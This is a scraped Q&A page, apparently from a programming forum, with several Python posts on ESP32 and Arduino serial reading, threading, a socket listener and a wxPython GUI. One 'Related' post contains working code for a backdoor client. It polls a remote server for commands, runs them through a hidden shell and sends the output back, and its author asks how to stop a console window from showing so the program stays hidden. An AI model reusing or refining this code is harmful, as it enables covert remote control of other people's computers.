ESP32 crashes with Micropython with simple test program - esp32

Here is a simple Micropython program that I wrote to test my ESP32 Vroom32 board. It crashes after several minutes. I got about 38000 counts out of it.
from time import sleep
n = 0
while 1:
print(n)
n += 1
sleep(0.02)
Here is the code that I'm using to read it.
import serial, serial.tools.list_ports
import time
def find_port(): #Finds which port the arduino is plugged into
ports = list(serial.tools.list_ports.comports())
for p in ports:
if "EA60" in p[2]:
return(p[0])
usbport = find_port()
ser = serial.Serial(usbport, 115200) #setup serial
while 1:
try:
data = ser.readline()
ser.flushInput()
data = data.strip().decode()
print(data)
time.sleep(0.02)
except Exception as e:
print(e)
I've tried different things such as blinking the LED and slowing down the timing to 0.2 seconds. After doing those two things it ran about 8 hours and then crashed. When it crashed. I had to unplug the device and plug it back in and restart the python program on the computer before it would run again. Simply resetting the device did not work. Also, after I added the LED blink code (not included in the above example) the LED kept blinking the entire time. It was like it was still running, but not communicating.
New micropython code that blinks:
from time import sleep
from machine import Pin
n = 0
led = Pin(2, Pin.OUT)
while 1:
print(n)
n += 1
led.value(not led.value())
sleep(0.2)
Update:
Last night I added some code to try to catch the error. The board still crashed and no error file was created.
New main.py
from time import sleep
from machine import Pin
n = 0
led = Pin(2, Pin.OUT)
while 1:
try:
led.value(not led.value())
n += 1
print(n)
sleep(0.2)
except Exception as e:
print("ESP32: ", e)
New desktop script:
import serial, serial.tools.list_ports
import time
def find_port(): #Finds which port the arduino is plugged into
ports = list(serial.tools.list_ports.comports())
for p in ports:
if "EA60" in p[2]:
return(p[0])
usbport = find_port()
ser = serial.Serial(usbport, 115200, timeout=10) #setup serial
while 1:
try:
data = ser.readline()
ser.flushInput()
data = data.strip().decode()
print(data)
if "ESP32" in data:
with open("errors.txt", "a") as f:
err = data + "\n"
f.write(err)
time.sleep(0.2)
except Exception as e:
print(e)

Related

python program packed by Pyinstaller shows blinking window on windows

I am trying to write a back door program with python.
I design the program with client-server architecture.
Here is the code of client.
from subprocess import PIPE, Popen, CREATE_NO_WINDOW
from typing import List, Optional
from datetime import datetime
from time import sleep
from threading import Thread
from socket import socket, AF_INET, SOCK_DGRAM
from getmac import get_mac_address as gma
import json
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
SERVER_PORT = 8080
SERVER_ADDRESS = 'https://example.com:' + str(SERVER_PORT)
def get_ip() -> str:
s = socket(AF_INET, SOCK_DGRAM)
s.connect(("8.8.8.8", 80))
ip = s.getsockname()[0]
s.close()
return ip
def get_mac() -> str:
return gma().replace(':', '')
def announce() -> List[str]:
requests.post(f'{SERVER_ADDRESS}/announce/{get_id()}', verify=False)
def get_id() -> str:
return get_ip() + '_' + get_mac()
def get_command() -> Optional[List[str]]:
try:
r = requests.get(f'{SERVER_ADDRESS}/command/{get_id()}', verify=False)
except requests.exceptions.ConnectionError:
print('Connection to server error.')
return None
if r.status_code == 200:
r = json.loads(r.text)
status = int(r['status'])
if status == 1:
print(f'Get a command from server.')
return r['command']
else:
return None
else:
print(f'Server returned status code {r.status_code}.')
print(f'Here is the response from server:\n{r.text}')
print()
def run_command():
while True:
command = get_command()
if command is not None:
p = Popen(command, shell=True, stdout=PIPE, stderr=PIPE, creationflags=CREATE_NO_WINDOW)
stdout, stderr = p.communicate()
data = {
'command': command,
'result': stdout.decode() + stderr.decode(),
'timestamp': datetime.now().strftime('%Y.%m.%d %H:%M:%S'),
}
requests.post(f'{SERVER_ADDRESS}/result/{get_id()}', json=data, verify=False)
sleep(5)
announce()
Thread(target=run_command).start()
The program runs well and I pack the python file to exe file with PyInstaller with the following command on windows.
pyinstaller -F -w program.py
-F for one-file
-w for window hidding
The packed program(exe file) runs well, but a windows terminal window shows with about 1Hz frequency. The behavior is strange and I need help.
The blinking window is NOT caused by subprocess because the window keep blinking even if I don't give any command to client.
I have googled the problem for a short time, but there is nothing helpful. I don't know the reason why the window keep blinking, and I think that is the point to explain why I just find nothing.

Zero cross detection with serial communication from Arduino to Raspberry Pi

I'm new at python and i'm setting up my school project that it's going to detect the zero cross for trigger a PWM pulse so i'm using Arduino and Raspberry Pi 3.
I'm trying to read from serial port of the Arduino for read it in the Raspberry Pi, after that what i need is build an if conditional with that data that i recieved.
Arduino sends from serial port ON and OFF message with this code
const int inputPin = 2;
int value = 0;
void setup() {
Serial.begin(9600);
pinMode(inputPin, INPUT_PULLUP);
}
void loop(){
value = digitalRead(inputPin); //digital read of pin
//sends a message to serial port depending of the value read
if (value == HIGH) {
Serial.println("ON");
}
else {
Serial.println("OFF");
}
delayMicroseconds(1000);
}
On Arduino serial read it shows continuously
OFF
ON
ON
ON
OFF
So on python i want to read those two values "ON" and "OFF" or at least one that when it takes a OFF value for example at the next 1 ms it turn on PWM pulse.
Something like:
if zerocross == OFF:
pi.hardware_PWM(heat,200,dutycycle)
This is my python code for read the data from serial port:
import time
try:
import serial
arduino = serial.Serial('/dev/ttyACM0', baudrate=9600, timeout=1.0)
arduino.setDTR(False)
time.sleep(1)
arduino.flushInput()
arduino.setDTR(True)
except (ImportError, serial.SerialException):
import io
class FakeArduino(io.RawIOBase):
def readline(self):
time.sleep(0.1)
return b'sensor = 0\toutput = 0\r\n'
arduino = FakeArduino()
with arduino:
while True:
try:
line = arduino.readline()
zerocross = line.decode('ascii', errors='replace')#, end=''
if zerocross == OFF:
print ('ok')
except KeyboardInterrupt:
print("Exiting")
break
this is the out in the python shell
Traceback (most recent call last):
File "/home/pi/Desktop/arduino python raspb.py", line 33, in <module>
if zerocross == OFF:
NameError: name 'OFF' is not defined
I've already tried to convert the serial data into a string but i get "built-in method decode" when i try to print the value. Please if someone can show me some other methods i would appreciate it so much.

How to interact with a running python script

As a start ive got a basic script which reads local unix syslog (/var/log/messages)
i want to build a tool which opens a socket (19999) locally and allows admin commands to be sent / processed.
As something i can build on basically i want to have the script on start up do the follow :
- open port 19999 locally
- start reading syslog storing "line" as the last line it has processed.
- when admin command of "printline" is seen print last known variable for "line"
Ive got basics done i think (script is below) where i have it open the relevant ports and it prints the commands sent to it from another client tool however it never starts to read the syslog.
#!/usr/bin/python
import socket
import subprocess
import sys
import time
from threading import Thread
MAX_LENGTH = 4096
def handle(clientsocket):
while 1:
buf = clientsocket.recv(MAX_LENGTH)
if buf == '': return #client terminated connection
print buf
serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
PORT = 19999
HOST = '127.0.0.1'
serversocket.bind((HOST, PORT))
serversocket.listen(10)
while 1:
#accept connections from outside
(clientsocket, address) = serversocket.accept()
ct = Thread(target=handle, args=(clientsocket,))
ct.start()
def follow(thefile):
thefile.seek(0,2)
while True:
line = thefile.readline()
if not line:
time.sleep(0.1)
continue
yield line
if __name__ == '__main__':
logfile = open("/capture/log/uifitz/messages","r")
loglines = follow(logfile)
for line in loglines:
print line,
Any help would be appreciated. Python 2.6 by the way.

Multithreading attempt Python fail

The following code is an attempt of mine at a voice recognition program. The voice recognition works fine and can understand me, but I encountered a problem at certain points in the program the code would sort of freeze, or hang but without an error.
To get around this I attempted to add a timer using multi-threading which should begin at a = True and after 3 seconds the program would automatically close. If the recognising worked perfectly the a = False should stop the timer before it closed the program. This obviously hasn't worked or I wouldn't be here.
I added a few print statements here and there so I could visually see where the code was when running, and I saw the the code for the timer begins however the code for voice recognition does not.
import speech_recognition as sr
r = sr.Recognizer()
import os, threading, time, sys
import subprocess as sp
print("Voice Recognition Software\n\n***********************************\n")
class myThread (threading.Thread):
def run():
print("Checking")
while True:
if a == True:
if a == False:
continue
for x in range(3):
time.sleep(1)
if a == False:
break
sys.exit()
def program():
while True:
print("voice recog has begun")
r.energy_threshold = 8000
t = None
with sr.Microphone() as source:
print (">")
a = True
audio = r.listen(source)
a = False
try:
a = True
print("Processing...")
t = r.recognize_google(audio)
a = False
print (": " + t)
except sr.UnknownValueError:
print("Unknown input")
continue
except sr.RequestError as e:
print("An error occured at GAPI\nA common cause is lack of internet connection")
continue
if "open" in t:
t = t.replace("open","")
t = t.replace(" ","")
t = t + ".exe"
print (t)
for a,d,f in os.walk("C:\\"):
for files in f:
if files == t.lower() or files == t.capitalize() or files == t.upper():
pat = os.path.join(a,files)
print (pat)
sp.call([pat])
success = True
if success == True:
continue
a = False
success = False
thread1 = myThread.run()
thread2 = myThread.program()
thread1.start()
thread2.start()
EDIT:
I see some mistakes of my own here like indentation of the def function but even after fixing what I see it doesn't work as intended.

Unable to get arduino serial communication working in wxpython GUI

This is the definition which is used to update the labels in the GUI:
def updateV(self, event):
""""""
global v
ser = serial.Serial( port='COM3', baudrate=9600)
x = ser.read() # read one byte
ser.close()
print x
if v>3:
self.labelOne.SetBackgroundColour('red')
self.labelOne.SetLabel('Battery Voltage : ' + x)
else:
self.labelOne.SetBackgroundColour('white')
self.labelOne.SetLabel('Battery Voltage : ' + str(v))
self.Refresh()
This is the simple arduino code i have been using:
int a;
void setup() {
Serial.begin(9600);// put your setup code here, to run once:
}
void loop() {
a=5;
Serial.println(a);
delay(10);
}
I have been using this definition to update my labels for my GUI. I recently started to set up serial communication on my GUI using that code. Logically using the mainloop() of the wx library, i thought i could update the 'x' value and get it printed on the GUI. But all the GUI window shows in 0.0 even though the python console prints 5 regularly. Please help! I am pretty new to this.
Your issue is that ser.read() will block. Even if you tweak the timeout of your serial.Serial instance, it still will keep the GUI busy. In that situation I do not know a method to "force" a refresh/wx.Yield(), it simply will not work. The standard solution for blocking calls is to spin up a thread
or poll regularily (e. g. with wx.Timer). However, I was only able to make threading work. The example is based on wxTerminal in pyserial.
# -*- coding: utf-8 -*-
import wx
import serial
from threading import Thread
ARDUINO_NEWLINE = '\r\n'
class serial_reader(object):
def __init__(self, callback=None):
"""Creates serial reader.
:param callback: callable, gets called when byte on serial arrives.
"""
self.callback = callback
self.thread = None
# Signal if serial is alive and should be read
self.alive = False
def start_reader(self, serial_cfg):
"""Start the receiver thread.
:param serial_cfg: dictionary, gets unpacked to parameters for :class:`serial.Serial`
"""
self.ser_cfg = serial_cfg
self.serial = serial.Serial(**serial_cfg)
# set != None so it will not block for longer than timeout on shutdown
self.serial.timeout = 0.1
self.alive = True
self.thread = Thread(target=self.serial_read)
self.thread.daemon = True
self.thread.start()
def stop_reader(self):
"""Stop the receiver thread, wait util it is finished."""
if self.thread is not None:
# signal no more reads
self.alive = False
# wait until thread has finished
self.thread.join()
self.thread = None
# cleanup
self.serial.close()
def serial_read(self):
"""Thread that handles the incoming traffic."""
while self.alive:
try:
text = self.serial.read()
if text and self.callback:
# return value to main loop in thread-safe manner
wx.CallAfter(self.callback, text)
except serial.serialutil.SerialException:
# will happen when Windows goes in sleep mode
print 'serial.serialutil.SerialException'
class ser_frm(wx.Frame):
def __init__(self, *args, **kwds):
wx.Frame.__init__(self, *args, **kwds)
self.txt = wx.TextCtrl(self, -1, '', style=wx.TE_MULTILINE)
class serial_controller(object):
def __init__(self, app):
self.app = app
# buffer for serial data
self.ser_buf = ''
self.frm = ser_frm(None, -1, 'testfrm')
# setup serial configuration
self.serial_cfg = {'port': 'COM4', 'baudrate': 9600}
# When parameter dsrdtr is set to True, the Arduino
# will not reset on serial open, for details see
# http://playground.arduino.cc/Main/DisablingAutoResetOnSerialConnection
self.serial_cfg['dsrdtr'] = True
self.ser_rd = serial_reader(callback=self.on_serial)
tit = 'Arduino on port {port} at baudrate {baudrate}'.format(**self.serial_cfg)
self.frm.SetTitle(tit)
self.ser_rd.start_reader(self.serial_cfg)
self.frm.Show()
self.frm.Bind(wx.EVT_CLOSE, self.on_close)
def on_close(self, evt):
"""Shutdown serial read thread before closing."""
if self.ser_rd.alive:
self.ser_rd.stop_reader()
evt.Skip()
def on_serial(self, text):
"""Handle input from the serial port."""
self.ser_buf += text
if self.ser_buf.endswith(ARDUINO_NEWLINE):
if self.frm.txt.GetInsertionPoint() > 1000:
self.frm.txt.SetValue('')
self.frm.txt.AppendText(self.ser_buf)
self.ser_buf = ''
if __name__ == "__main__":
app = wx.App(redirect=False)
serialctr = serial_controller(app)
app.MainLoop()
EDIT: It is not necessary to tinker with DSR/DTR on Arduinos with USB on chip (e.g. the Arduino micro), so delete the line
self.serial_cfg['dsrdtr'] = True
and it will still work properly.

Resources